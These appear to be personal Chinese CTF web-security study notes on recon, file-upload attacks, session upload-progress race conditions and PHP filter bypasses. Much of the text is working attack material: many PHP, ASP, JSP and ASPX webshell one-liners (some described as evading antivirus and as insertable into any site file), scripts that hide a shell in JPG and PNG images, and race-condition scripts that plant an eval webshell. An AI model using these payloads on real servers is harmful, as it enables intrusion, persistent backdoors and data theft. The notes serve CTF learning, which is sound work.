收集一切梭哈的笔记。

哪怕再怎么菜也得记住自己学到/遇到过什么东西,才不枉费自己曾经的付出。

信息收集

基本收集

在搜索到phpinfo时,disable_functions出现的所有函数代表的是封禁函数,也就是内部配置的禁用函数。

## 扫站
扫站工具:
dirmap 扫目录扫文件,相似的有dirsearch。
dirsearch 扫站工具
... <其它待收集>


##子域名爆破
https://chaziyu.com/ctf.show/

扫目录的目的:
- 网站备份文件
- 网站的源码泄露文件(.git,.svn,.swp, .bak等)
- sql备份文件泄露(backup.sql,/db/db.mdb)
- 说明文件:/robots.txt

## 网站探针:
fofa,369quake

## COOKIE伪造
形如:user=admin

## 框架判断
1. 数据包头中返回:
X-Powered-By: Express
基本断定为js框架
2.根据浏览器插件进行判断

## 身份伪造:
伪造身份的时候,有时候不仅仅需要伪造用户名,还要伪造用户头像。

## 爆破
爆破随机数种子的工具:https://www.openwall.com/php_mt_seed/

## 权限维持
某些网站需要Py脚本进行权限维持,保证权限不过期才能解答出答案。
Python当中用的时session

模板漏洞

nginx相关配置信息

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx/ access.log
/var/log/nginx/access.log

配置文件目录为:/usr/local/nginx/conf/nginx.conf

关键文件后缀

.rar、.zip、.7z、.tar、.gz、.tar.gz、.bz2、.tar.bz2、.sql、.bak、.dat、.txt、.log、.mdb

文件上传

上传木马php,拿下后台

注意事项

# 修改的方式有很多种,围绕着文件内容,主要是插入木马。
1.修改文件名
2.修改文件类型
3.修改上传的文件头为 GIF89a?
a.php/. 绕过php黑名单限制

# 一般情况下,木马都是以xx.php的形式存在的。
# php木马在非解析漏洞的前提下,必须使用php后缀
# 收集了部分后缀
phtml php (普通情况下)
php5 php6 php7 (带版本)
Php (大小写)
# 某些情况下,php可以使用phtml

一句话木马

<script language=php>eval($_POST[x])</script>
<?=eval($_POST[1])>
<?php eval($_POST[1])?>
<?=`cat /f*`?> # 超级简短的一句话

#--------------------
# 来源 https://www.cnblogs.com/u0mo5/p/4901037.html
<%eval request("c")%>
<%execute request("c")%>
<%execute(request("c"))%>
<%ExecuteGlobal request("sb")%>
%><%Eval(Request(chr(35)))%><%
<%if request ("c")<>""then session("c")=request("c"):end if:if session("c")<>"" then execute session("c")%>
<%eval(Request.Item["c"],"unsafe");%>
'备份专用
<%eval(request("c")):response.end%>
'无防下载表,有防下载表突破专用一句话
<%execute request("c")%><%<%loop<%:%>
<%<%loop<%:%><%execute request("c")%>
<%execute request("c")<%loop<%:%>
'防杀防扫专用
<%if Request("c")<>"" ThenExecuteGlobal(Request("c"))%>
'不用"<,>"
<script language=VBScript runat=server>execute request("c")</script>
<% @Language="JavaScript" CodePage="65001"var lcx={'名字':Request.form('#'),'性别':eval,'年龄':'18','昵称':'请叫我一声老大'};lcx.性别((lcx.
名字)+'') %>
<script language=vbs runat=server>eval(request("c"))</script>
<script language=vbs runat=server>eval_r(request("c"))</script>
'不用双引号
<%eval request(chr(35))%>
'可以躲过雷客图
<%set ms = server.CreateObject("MSScriptControl.ScriptControl.1") ms.Language="VBScript" ms.AddObject"response",response ms.AddObject

"request",request ms.ExecuteStatement("ev"&"al(request(""c""))")%>
<%dy=request("dy")%><%Eval(dy)%>
'容错代码
if Request("sb")<>"" then ExecuteGlobal request("sb") end if
PHP一句话

复制代码代码如下:

<?php eval($_POST1);?>
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>
<?php system($_REQUEST1);?>
<?php ($_=@$_GET1).@$_($_POST1)?>
<?php eval_r($_POST1)?>
<?php @eval_r($_POST1)?>//容错代码
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
<?$_POST['c']($_POST['cc']);?>
<?$_POST['c']($_POST['cc'],$_POST['cc'])?>
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>
<?php echo `$_GET['r']` ?>
//绕过<?限制的一句话
<script language="php">@eval_r($_POST[sb])</script>

JSP一句话

复制代码代码如下:

<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>
提交客户端
<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>
ASPX一句话
<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script>

再补充几个:

推荐还是把一句话加进图片里面去。
普通的php一句话:<?php @eval($_POST['r00ts']);?>
普通的asp一句话:<%eval(Request.Item["r00ts"],”unsafe”);%>
aspx突破一流的:
[code]
dim da
set fso=server.createobject("scripting.filesystemobject")
path=request("path")
if path<>"" then
data=request("da")
set da=fso.createtextfile(path,true)
da.write data
if err=0 then
Response.Write "yes"
else
Response.Write "no"
end if
err.clear
end if
set da=nothing
set fos=nothing
Response.Write "<form action=" method=post>"
Response.Write "<input type=text name=path>"
Response.Write "<br>"
Response.Write "当前文件路径:"&server.mappath(request.servervariables("script_name"))
Response.Write "<br>"
Response.Write "操作系统为:"&Request.ServerVariables("OS")
Response.Write "<br>"
Response.Write "WEB服务器版本为:"&Request.ServerVariables("SERVER_SOFTWARE")
Response.Write "<br>"
Response.Write "<textarea name=da cols=50 rows=10 width=30></textarea>"
Response.Write "<br>"
Response.Write "<input type=submit value=save>"
Response.Write "</form>"
</Script>

ASP一句话:<%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%>

PHP防杀放扫 一句话:<?php (])?>
上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如
index.asp里面也是可以的!

因为加了判断!加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件
的最底部不会出错!<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system
($_REQUEST[1]);?>

无防下载表,有防下载表可尝试插入以下语句突破的一句话
<%execute request(“class”)%><%'<% loop <%:%><%'<% loop <%:%><%execute request
(“class”)%><%execute request(“class”)'<% loop <%:%>

备份专用<%eval(request(“1″)):response.end%>

asp一句话<%execute(request(“1″))%>
aspx一句话:<scriptrunat=”server”>WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y
(“add6bb58e139be10″);</script>

可以躲过雷客图的一句话。
<%set ms = server.CreateObject(“MSScriptControl.ScriptControl.1″)
ms.Language=”VBScript”ms.AddObject”Response”,Responsems.AddObject”request”,
requestms.ExecuteStatement(“ev”&”al(request(“”1″”))”)%>

不用'<,>‘的asp一句话<scriptrunat=server>execute request(“1″)</script>

不用双引号的一句话。<%eval request(chr(35))%>

#--------------------
# 先知社区一句话木马免杀:https://xz.aliyun.com/t/9246
#正在收集当中……

上传配置文件(修改配置环境)

MIME类型

上传配置文件,属于文件上传漏洞的一种类型。

# 涉及的是php文件的解析漏洞
# 上传配置文件,可以将上传环境的任意文件解析为php
.user.ini 上传配置文件后修改的是某个文件的解析,不是修改所有文件的解析

.user.ini文件 – nginx

环境:nginx
功能:将指定文件解析为php

文件名:
.user.ini

配置信息:
GIF89a
auto_prepend_file=a.jpg

.hstaccess – apache

适用环境:apache
功能:将指定后缀的文件解析为php

AddType application/x-httpd-php .png

文件上传之数据包过滤

# 1.限制文件大小
($_FILES["file"]["size"] / 1024) > 1024
# 2.限制文件名
# 限制文件后缀
.php .phtml .pHp .php4
# 3.限制文件类型
if($_FILES['file']['type'] != 'image/png'){
die('error');
}
#

文件上传其它物件

#可能存在文件上传并且包含的标志:
/upload/download.php?file=2eaa7cebaf94009ea6f40c3841dca980.zip
#某个特殊的文件头
Content-Type: application/x-zip-compressed

jpg二次渲染脚本

<?php
$miniPayload = '<?=system("cat f*");?>';


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
//die('php jpg_payload.php <jpg_name.jpg>');
$argv[1] = '1.jpg';
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
echo "error";
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?> 作者:J_Chanra https://www.bilibili.com/read/cv17496404/ 出处:bilibili

使用方法:

php web146-3.php 1.jpg

png二次渲染脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>
/*
图片包含的木马是:<?=$_GET[0]($_POST[1]);?>
*/

使用方法:

php web.php

文件上传之条件竞争

Session条件竞争

源头:https://www.freebuf.com/vuls/202819.html

wp:https://blog.csdn.net/weixin_45696568/article/details/114445971

本文主要是利用PHP中的session.upload_progress功能作为跳板,从而进行文件包含和反序列化漏洞利用。由于首先需要了解关于session及其反序列化等相关的知识,所以对它们先进行介绍。有不对的地方,欢迎各位大佬指正。

php中的session.upload_progress

版本: >= php 5.4 php.ini文件 前四个配置为主。

session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"

Session相关信息:web82~?

参考自此师傅的文章:https://xz.aliyun.com/t/9545

前置信息

#存储位置:
phpinfo反馈关键字段: session.save_path
##默认路径
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID #未设置时的存储位置
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
##默认文件名格式
sess_SESSIONID
sess_ : 默认前缀
SESSIONID: 使用的时候生成的随机字符串
### 而般情况下,phpmyadmin的session文件会设置在/tmp目录下,
### 需要在php.ini里把session.auto_start置为1,
### 把session.save_path目录设置为/tmp。

# 与SESSION相关的PHP配置项
##session.auto_start:
如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。
但默认情况下,也是通常情况下,这个选项都是默认关闭的。

##session.upload_progress.cleanup = on:
表示当文件上传结束后,php将会立即清空对应session文件中的内容。
该选项默认开启

##session.use_strict_mode:
默认情况下,该选项的值是0,此时用户可以自己定义Session ID。

Session Upload Progress

直译:Session 上传进度

# 版本:php>=5.4 
# 对应选项:session.upload_progress.enabled ,默认开启

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,
上传进度可以在 $_SESSION 中获得。
当PHP检测到这种POST请求时,它会在 $_SESSION 中添加一组数据,
索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。

样例

官方

<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>

对应的数组

<?php
$_SESSION["upload_progress_123"] = array( // 其中存在上面表单里的value值"123"
"start_time" => 1234567890, // The request time 请求时间
"content_length" => 57343257, // POST content length post数据长度
"bytes_processed" => 453489, // Amount of bytes received and processed 已接收的字节数量
"done" => false, // true when the POST handler has finished, successfully or not
"files" => array(
0 => array(
"field_name" => "file1", // Name of the <input/> field 上传区域
// The following 3 elements equals those in $_FILES
"name" => "foo.avi", // 上传文件名
"tmp_name" => "/tmp/phpxxxxxx", // 上传后在服务端的临时文件名
"error" => 0,
"done" => true, // True when the POST handler has finished handling this file
"start_time" => 1234567890, // When this file has started to be processed
"bytes_processed" => 57343250, // Amount of bytes received and processed for this file
),
// An other file, not finished uploading, in the same request
1 => array(
"field_name" => "file2",
"name" => "bar.avi",
"tmp_name" => NULL,
"error" => 0,
"done" => false,
"start_time" => 1234567899,
"bytes_processed" => 54554,
),
)
);

利用方法

方法1:初始一个随机sessionid

表单:

<!doctype html>
<html>
<body>
<form action="http://192.168.43.82/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>

表单对应的数据包:

在数据包HTTP头添加:
Cookie: PHPSESSID
方法2:GETShell

某个session条件竞争的脚本:

import io
import sys
import requests
import threading

sessid = 'whoami'

def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://192.168.43.82/index.php',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('/var/www/html/shell.php','w'),'<?php @eval($_POST[whoami])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)

def READ(session):
while True:
response = session.get(f'http://192.168.43.82/index.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid}')
# print('[+++]retry')
# print(response.text)

if 'flag' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)

with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()

READ(session)

另外一个利用脚本:

import threading
sessid = 'TGAO'
data = {"cmd":"system('whoami');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://127.0.0.1:5555/test56.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://127.0.0.1:5555/test56.php?file=session/sess_'+sessid,data=data)
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in xrange(1,30):
threading.Thread(target=write,args=(session,)).start()

for i in xrange(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()

命令执行

数据包伪造

// XFF伪造来源地址
X-Forwarded-For: 127.0.0.1
// 伪造来源URL
Referer: www.baidu.com
# 2.重定向网站的访问浏览器
User-Agent: Syclover

# 伪造本地访问
X-Forwarded-For:127.0.0.1
X-Forwarded:127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-remote-IP: 127.0.0.1
X-remote-addr: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip: 127.0.0.1
Cdn-Real-Ip: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
WL-Proxy-Client-IP: 127.0.0.1
Proxy-Client-IP: 127.0.0.1
Fastly-Client-Ip :127.0.0.1
True-Client-Ip :127.0.0.1

# 伪造图片
GIF89a?

#遇到下面这种情况,并且被限制执行函数时,可以尝试下面的方法绕过
`comment` => c\at fla\g\.p\hp

# 前台js,使用谷歌浏览器
使用谷歌浏览器source进行调试,在console台修改js变量即可
如果太复杂只能再深入分析了

php可执行函数

## 无字符串查目录
show_source(next(array_reverse(scandir(pos(localeconv())))));
// localeconv()获取一个符号数组
// pos()获取第一个元素
// scandir(): 这是一个 PHP 函数,用于扫描指定目录并返回目录中的文件和目录列表。它接受目录路径作为参数,并返回一个包含目录内容的数组。
// array_reverse(): 这是一个 PHP 函数,用于将数组中的元素顺序反转。
// show_source() 函数是 PHP 中的一个内置函数,它用于显示指定文件的源代码。该函数接受一个文件名作为参数,并将文件的内容以HTML格式输出到浏览器。


# 命令执行、代码执行函数
eval(): //将字符串作为php代码执行


# 全局变量函数
$GLOBALS //查看超全局变量
$_GET() //接受GET传参
$_POST() //接受POST传参
$_SERVER //全局性质的函数,暂不赘述
get_defined_vars() //返回由所有已定义变量所组成的数组


# 编码解码函数
urlencode() //字符串编码为URL字符串
urldecode() //解码URL编码的字符串
base64_encode() //字符串编码为base64字符串
base64_decode() //base64字符串解码
bin2hex() & hex2bin() //2进制转16进制/16进制转2进制
chr() // 将数字转字符串


# 变量操作函数
## 单体操作函数
strstr() //在一个字符串中查找指定的子字符串,并返回子字符串及其后面的内容。区分大小写
trim() //去除两端空格和特殊字符
substr() //字符串截取,传入(字符串,截取位置,截取长度),最后一个参数可以不加
strcmp() //比较两个字符串的值,适当的返回1 0 -1三个值
// 1:参数1>参数2
// 0:参数1=参数2 => 漏洞:比较数组的时候返回也是0(无法比较)
// -1:参数1<参数2
class_exists() //将类自动加载并且实例化 --- 任意实例化漏洞
//学习自:https://www.cnblogs.com/nice0e3/p/15383699.html 还有CTFSHO Wweb150_Plus
功能 :检查类是否已定义
定义 : bool class_exists ( string $class_name[, bool $autoload = true ] )
# 这一个函数和前面提到的新建对象一样,如果不存在这个类,同样也会调用__autoload魔术方法
$class_name 为类的名字,在匹配的时候不区分大小写。
默认情况下 $autoloadtrue,当 $autoloadtrue 时,会自动加载本程序中的 __autoload 函数;
$autoloadfalse 时,则不调用 __autoload 函数。
'''
class_exists() 函数来判断用户传过来的控制器是否存在,
默认情况下,如果程序存在 __autoload 函数,那么在使用 class_exists() 函数就会自动调用本程序中的 __autoload 函数,
这题的文件包含漏洞就出现在这个地方。攻击者可以使用 路径穿越 来包含任意文件,
当然使用路径穿越符号的前提是 PHP5~5.3(包含5.3版本)版本 之间才可以。
例如类名为: ../../../../etc/passwd 的查找,将查看passwd文件内容
'''

// class_exists(phpinfo);
//当对方类存在 __construct,即存在文件包含
`ls ../`
// 代替了eval(system())直接执行Linux命令进行查询


__autoload()
# 某个统领型的参照:https://www.cnblogs.com/anweilx/p/12420107.html
# 另外一个参照以及摘抄:https://blog.csdn.net/xiantianga6883/article/details/108378695
"""
在实际项目中,不可能把所有的类都写在一个 PHP 文件中,
当在一个 PHP 文件中需要调用另一个文件中声明的类时,就需要通过 include 把这个文件引入。
不过有的时候,在文件众多的项目中,要一一将所需类的文件都 include 进来,
一个很大的烦恼是不得不在每个类文件开头写一个长长的包含文件的列表。
我们能不能在用到什么类的时候,再把这个类所在的 php 文件导入呢?

为此,PHP 提供了 __autoload() 方法,它会在试图使用尚未被定义的类时自动调用。
通过调用此函数,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。
__autoload() 方法接收的一个参数,就是欲加载的类的类名,
所以这时候需要类名与文件名对应,如 Person.php ,对应的类名就是 Pserson 。
"""

## 多体操作函数
extract() // 将属于组: 键值对 =转换=> 变量和值
extract($_GET); // 将get参数获得的变量和值组成的数组 转换为php程序的变量和值
parse_str( string $query_string , array &$result) //将URL查询字符串解析为数组
#query_string(必需)表示需要解析成变量的查询字符串;
#result(可选)是将查询字符串转换后的结果数组的引用。
explode() //将指定分隔符拆分为数组

## 数组操作函数
sort() //数组升序
rsort() //数组降序
asort() //升序并保留下标
arsort() //降序并保留下标
ksort() //下标升序
krsort() //下标降序


# 文件操作函数
file_get_contents() //获取文件内容
file_put_contents() //输出文件内容
scandir() //显示目录结构


# 输出函数
var_dump() //规则化显示变量的属性
print_r() //输出数组信息


# 截断函数
return
exit()
die()

# 翻转函数
strrev('Hello world!') //左右反转字符串的函数

# 随机数控制
mt_srand() //指定随机数种子,当确定种子时随机数将完全确定,可以直接推
mt_rand() //生成随机数
//利用随机数推演随机数种子的脚本:php_mt_seed

PHP传参+绕过

PHP绕过的大佬文章点我

更多更详细绕过参照:点我

传参涉及的php函数

可执行函数

eval()
# 将字符串作为代码并且执行

assert()
# 检测一个断言是否为false
PHP 5
assert ( mixed $assertion [, string $description ] ) : bool
PHP 7
assert ( mixed $assertion [, Throwable $exception ] ) : bool
assert()会检查指定的assertion并在结果为false时采取适当的行动。
在PHP5或PHP7中,如果assertion是字符串,它将会被assert()当做PHP代码来执行。

preg_replace()+/e
# 执行一个正则表达式的搜索和替换
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
搜索subject中匹配pattern的部分,以replacement进行替换。
如果pattern的模式修饰符使用/e,那么当subject被匹配成功时,replacement会被当做PHP代码执行
PS: preg_replace()+函数的/e修饰符在PHP7中被移除

create_function()
# 创建一个匿名(lambda样式)函数
create_function ( string $args , string $code ) : string

implode()
# 将数组转换为字符串

parse_str()
# 将字符串转变量

extract()
# 将数组转变量

可回调函数

array_map()
#为数组的每个元素应用回调函数
array_map ( callable $callback , array $array , array ...$arrays ) : array
返回数组,是为array每个元素应用callback函数之后的数组。
array_map()返回一个array,数组内容为array1的元素按索引顺序为参数调用callback后的结果
(有更多数组时,还会传入arrays的元素)。
callback函数形参的数量必须匹配array_map()实参中数组的数量。
?c=assert&arg[]=phpinfo();

call_user_func()
#把第一个参数作为回调函数调用
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed
第一个参数callback是被调用的回调函数,其余参数是回调函数的参数。
?c=assert&arg[]=phpinfo();

call_user_func_array()
# 调用回调函数,并把一个数组参数作为回调函数的参数
call_user_func_array ( callable $callback , array $param_arr ) : mixed
把第一个参数作为回调函数callback调用,把参数数组作param_arr为回调函数的的参数传入。跟array_map()相似
?c=assert&arg[]=phpinfo();

array_filter()
#用回调函数过滤数组中的单元
array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array
依次将array数组中的每个值传递到callback函数。
如果callback函数返回true,则array数组的当前值会被包含在返回的结果数组中。
数组的键名保留不变。
?arg[]=phpinfo()&cmd=assert;

usort()
#使用用户自定义的比较函数对数组中的值进行排序
usort ( array &$array , callable $value_compare_func ) : bool

_() 等同于 gettext() 唯一有别名的函数
#gettext()的拓展函数,开启text扩展(gettext)。
#需要php扩展目录下有php_gettext.dll
call_user_func(call_user_func($f1,$f2))
#GET:f1=_&f2=phpinfo

字符拼接绕过

a.b.c.d
# 题目:eval(参数)
字符串拼接绕过适用于绕过过滤具体关键字的限制
适用PHP版本:PHP>=7
# 具体payload
(p.h.p.i.n.f.o)();
(sy.(st).em)(whoami);
(sy.(st).em)(who.ami);
(s.y.s.t.e.m)("whoami");
.......

在PHP中不一定需要引号(单引号/双引号)来表示字符串。PHP支持我们声明元素的类型,比如$name = (string)mochu7;,在这种情况下,$name就包含字符串"mochu7",此外,如果不显示声明类型,那么PHP会将圆括号内的数据当成字符串来处理

字符串转义绕过

适用PHP版本:PHP>=7

以八进制表示的[0–7]{1,3}转义字符会自动适配byte(如”\400” == “\000”)
以十六进制的\x[0–9A-Fa-f]{1,2}转义字符表示法(如“\x41”)
以Unicode表示的\u{[0–9A-Fa-f]+}字符,会输出为UTF-8字符串

注意这里转义后的字符必须双引号包裹传参

payload处理脚本:

# -*- coding:utf-8 -*-

def hex_payload(payload):
res_payload = ''
for i in payload:
i = "\\x" + hex(ord(i))[2:]
res_payload += i
print("[+]'{}' Convert to hex: \"{}\"".format(payload,res_payload))

def oct_payload(payload):
res_payload = ""
for i in payload:
i = "\\" + oct(ord(i))[2:]
res_payload += i
print("[+]'{}' Convert to oct: \"{}\"".format(payload,res_payload))

def uni_payload(payload):
res_payload = ""
for i in payload:
i = "\\u{{{0}}}".format(hex(ord(i))[2:])
res_payload += i
print("[+]'{}' Convert to unicode: \"{}\"".format(payload,res_payload))

if __name__ == '__main__':
payload = 'phpinfo'
hex_payload(payload)
oct_payload(payload)
uni_payload(payload)

传参绕过总集–self

%0a相关参照点我

# php数学运算:
1. 四则运算:+-*/
2. 三元表达式:c?a:b

# 目录穿越漏洞
echo readfile($f);
GET:?f=../ctfshow/../../../../../../../var/www/html/flag.php
# 解析到根目录路径,再找到flag目录即可

# POP链
就目前遇到的情况来说,是这样子的:调用出现的诸多类实现某个具体的功能,从而得到flag。

#PDO读取
try{$dbh=new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach ($dbh->query('select load_file("/flag36.txt")') as $row){echo ($row[0])."|";}$dbh=null;}catch(PDOException $e){echo $e->getMessage();exit(0);}exit(0);

#FFI读取写入漏洞
// 要求版本是7.4以上
// 操作的具体流程是:
// 1.利用命令执行获取信息,并且写入到当前文件夹下的文本文件。
// 2.直接访问文本文件就能获取命令执行的信息
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

// 绕过open_basedir(目录锁死)
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>

# php插件注入绕过
c=?><?php $ffi=FFI::cdef("int system(const char *command);");$a = 'cat /flag > /var/www/html/poc.txt';$ffi->system($a);exit();?>

# 避开缓冲区替换
c=require('/flag.txt');exit();

# GET或者POST传入参数执行
形如:
GET:
http://xxx.xxx/index.php?name=zs&passwd=123
POST:
val=ww&key=1

# 特殊传参--方括号变成下划线(参数解析漏洞)
POST: a[b.c=123
后台显示的参数名:
a_b.c=123

PHP v5.6.40
?..CTFSHOW..=1 =这个get传参等价于=> $_GET[__CTFSHOW__]=1


# URL传参 -- 数字
# 传参数字可以使用进制绕过,小数点,e科学计数法,加减法等方式绕过限制
# URL编码解码可以使用php函数
# 约束攻击
# 使用admin 1
# 进行注册,如果发生截断为admin,使用admin登录即可直接获取admin权限
# %00 截断
形如:a=134%20
形如:a=134%00

# 双写绕过str_replace一次性限制
# 意在只有调用一次限制

# 空格传参绕过
"and","*","=","\","-","<>" "别看我,我是用来保证代码着色的双引号

# 前端游戏绕过:
# 白盒审计js,查看关键数据并且尝试绕过
# 白盒审计+远程传参:将游戏数据传递给服务器,可以尝试解密游戏数据并重新发包

# 弱类型比较
// 当数字和“数字字符串”进行比较时,比较的是数值,且仅前置的数字部分
1=='1adasd' => true

# md5比较的绕过
md5($key1) == md5($key2) // 比较变量md5值是否相等
当md5编译的字符串返回结果以0e开头时,弱类型对比下默认相等(==)
md5弱类型给出俩个例子:
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

# 数组绕过
a[]=1

# html实体编码转换
# 方法很多,一般可以放到html当作直接转换显示,或者放到特定的转码器进行转码

# php限制型函数集合
is_numeric(): //检测传入是否数字,是字符串时返回false
// 使用 == 和字符串进行绕过
1. 十六进制+数组:j[]=58B
2. 空字符和00截断绕过
1315%00
1315%20
3. 字符串转数值型转换绕过:111fff => 111

preg_match(正则,字符串): //php的正则表达式限制
// 使用不被限制的字符串进行绕过

die(); //截断输出函数
// 在if等前置截断就使用各种条件进行绕过

